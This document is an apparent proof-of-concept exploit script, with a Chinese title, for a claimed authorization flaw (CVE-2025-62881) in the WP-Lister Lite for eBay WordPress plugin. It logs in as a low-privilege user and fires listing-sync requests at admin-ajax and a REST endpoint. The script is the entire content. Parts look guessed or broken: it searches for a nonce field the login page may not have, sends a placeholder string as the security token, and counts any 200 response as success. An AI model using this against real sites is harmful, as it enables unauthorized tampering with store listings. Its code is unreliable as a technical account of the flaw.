CVE-2025-62881: WP-Lister Lite for eBay 授权缺失漏洞

# CVE-2025-62881 PoC - WP-Lister Lite for eBay Authorization Bypass # Requires low-privilege WordPress account import requests import sys from bs4 import BeautifulSoup TARGET_URL = "http://target-wordpress-site.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def get_nonce_and_cookie(): """Get login nonce and authentication cookies""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" # Fetch login page to get nonce resp = session.get(login_url) soup = BeautifulSoup(resp.text, 'html.parser') nonce = soup.find('input', {'name': 'wp-nonce'}) or \ soup.find('input', {'id': '_wpnonce'}) return session, nonce.get('value') if nonce else None def authenticate(session, nonce): """Authenticate with low-privilege account""" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-nonce': nonce, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } resp = session.post( f"{TARGET_URL}/wp-login.php", data=login_data, allow_redirects=True ) return 'wordpress_logged_in' in str(session.cookies) def exploit_auth_bypass(session): """Exploit missing authorization vulnerability""" # Example: Unauthorized product listing sync exploit_endpoints = [ f"{TARGET_URL}/wp-admin/admin-ajax.php", f"{TARGET_URL}/wp-json/wp-lister/v1/listings/sync" ] headers = { 'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest' } # Construct malicious request with low-privilege token exploit_payload = { 'action': 'wplister_sync_listings', 'security': 'low_privilege_nonce', # Invalid or low-level nonce 'listing_ids': 'all', 'force': True } for endpoint in exploit_endpoints: try: resp = session.post(endpoint, data=exploit_payload, headers=headers) if resp.status_code == 200: print(f"[!] Potential unauthorized action at: {endpoint}") print(f"Response: {resp.text[:200]}") except Exception as e: print(f"Error: {e}") def main(): print("[*] CVE-2025-62881 PoC - WP-Lister Lite Authorization Bypass") print("[*] Target: WP-Lister Lite for eBay <= 3.8.3\n") session, nonce = get_nonce_and_cookie() if not nonce: print("[-] Failed to obtain nonce") sys.exit(1) print("[+] Obtained nonce") if authenticate(session, nonce): print("[+] Successfully authenticated as low-privilege user") exploit_auth_bypass(session) else: print("[-] Authentication failed") sys.exit(1) if __name__ == "__main__": main()